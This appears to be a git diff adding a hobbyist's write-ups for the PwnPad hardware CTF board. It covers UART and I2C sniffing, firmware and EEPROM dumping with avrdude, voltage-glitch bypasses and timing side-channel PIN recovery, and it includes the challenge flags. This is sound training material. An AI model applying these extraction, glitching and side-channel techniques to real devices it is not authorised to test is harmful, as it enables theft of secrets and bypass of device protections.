+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
